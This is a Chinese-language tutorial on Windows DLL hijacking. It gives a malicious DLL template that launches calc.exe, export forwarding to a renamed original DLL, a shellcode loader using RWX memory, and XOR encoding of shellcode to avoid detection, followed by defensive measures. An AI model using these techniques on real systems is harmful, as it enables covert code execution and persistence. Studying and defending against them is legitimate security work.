dll劫持实例学习
字数 1377
更新时间 2025-08-23 23:10:36
DLL劫持攻击技术详解
一、DLL劫持概述
DLL劫持(DLL Hijacking)是一种利用Windows DLL加载机制的安全漏洞的攻击技术。攻击者通过将恶意DLL放置在应用程序搜索路径中优先级较高的位置,使得应用程序在运行时加载攻击者的DLL而非合法的系统DLL。
二、DLL加载顺序
Windows系统在加载DLL时遵循特定的搜索顺序:
- 应用程序所在目录
- 系统目录(如C:\Windows\System32)
- 16位系统目录
- Windows目录
- 当前工作目录
- PATH环境变量中列出的目录
关键点:如果攻击者能将恶意DLL放在比系统目录优先级更高的位置(如应用程序目录),系统就会优先加载恶意DLL。
三、DLL劫持攻击步骤
1. 识别目标DLL
使用Process Monitor工具监控目标程序的DLL加载行为:
- 设置过滤器:
Process Name包含目标程序名 - 观察
NAME NOT FOUND错误,这些是潜在的劫持目标
2. 分析目标DLL
使用dumpbin工具查看目标程序的导入表:
dumpbin /imports target.exe
确定程序依赖哪些DLL及其需要导出的函数。
3. 创建恶意DLL
基本恶意DLL模板
#include "pch.h"
#include <Windows.h>
#include <stdlib.h>
// 导出所有目标DLL需要的函数
extern "C" __declspec(dllexport) int ExportedFunction1() { return 0; }
extern "C" __declspec(dllexport) int ExportedFunction2() { return 0; }
// ...其他导出函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc.exe"); // 恶意代码
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
关键点:
- 必须导出目标程序需要的所有函数
- DLL位数(x86/x64)必须与目标程序匹配
- 在DLL_PROCESS_ATTACH时执行恶意代码
4. 转发DLL函数(高级技巧)
为了不影响程序正常运行,可以使用函数转发技术:
#pragma comment(linker, "/EXPORT:FunctionName=OriginalDll.FunctionName,@Ordinal")
示例:
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=versionOrg.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=versionOrg.GetFileVersionInfoSizeA,@5")
// ...其他转发函数
操作步骤:
- 将原始DLL重命名为
OriginalDllOrg.dll - 将恶意DLL命名为原始DLL名(如
version.dll) - 恶意DLL转发所有函数到重命名后的原始DLL
5. 部署恶意DLL
将编译好的恶意DLL放置在应用程序目录或其他高优先级搜索路径中。
四、高级攻击技术
1. Shellcode注入
unsigned char buf[] = "\xfc\xe8\x89..."; // shellcode
DWORD WINAPI run(LPVOID lpParameter) {
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, run, NULL, 0, NULL);
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}
2. Shellcode加密
使用XOR简单加密shellcode:
Python加密代码:
import binascii
def xor():
shellcode = b"\xfc\xe8\x89..."
shellcode = binascii.b2a_hex(shellcode).decode('utf-8')
shellcode = bytearray.fromhex(shellcode)
for i in range(len(shellcode)):
shellcode[i] ^= 0x20 # XOR密钥
shellcode = binascii.b2a_hex(shellcode).decode('utf-8')
# 输出格式化的shellcode
for i in range(len(shellcode)):
if i % 2 == 0:
print("\\x" + shellcode[i] + shellcode[i + 1], end = '')
xor()
C++解密执行代码:
DWORD WINAPI run(LPVOID lpParameter) {
PVOID shellcode_exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, buf, sizeof buf);
// XOR解密
for (int i = 0; i < sizeof buf; i++) {
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ '\x20';
}
((void(*)())shellcode_exec)();
return 0;
}
五、防御措施
-
应用程序防御:
- 使用绝对路径加载DLL
- 检查DLL的数字签名
- 使用SetDefaultDllDirectories API限制DLL搜索路径
-
系统防御:
- 启用SafeDllSearchMode(已默认启用)
- 使用CWDIllegalInDllSearch注册表项
- 监控异常的DLL加载行为
-
用户防御:
- 不要随意运行来源不明的程序
- 注意程序目录中的异常DLL文件
- 使用安全软件监控系统行为
六、工具列表
-
分析工具:
- Process Monitor - 监控DLL加载行为
- dumpbin - 分析PE文件导入表
- Dependency Walker - 可视化分析DLL依赖
-
开发工具:
- Visual Studio - 编译恶意DLL
- Python - 辅助生成shellcode
-
攻击框架:
- Cobalt Strike - 生成高级payload
- Metasploit - 生成shellcode
七、总结
DLL劫持是一种有效的持久化攻击技术,利用了Windows系统的DLL加载机制。通过精心构造的恶意DLL,攻击者可以在目标系统上执行任意代码,同时保持较高的隐蔽性。防御此类攻击需要结合应用程序加固、系统安全配置和用户安全意识等多层次防护措施。
相似文章
相似文章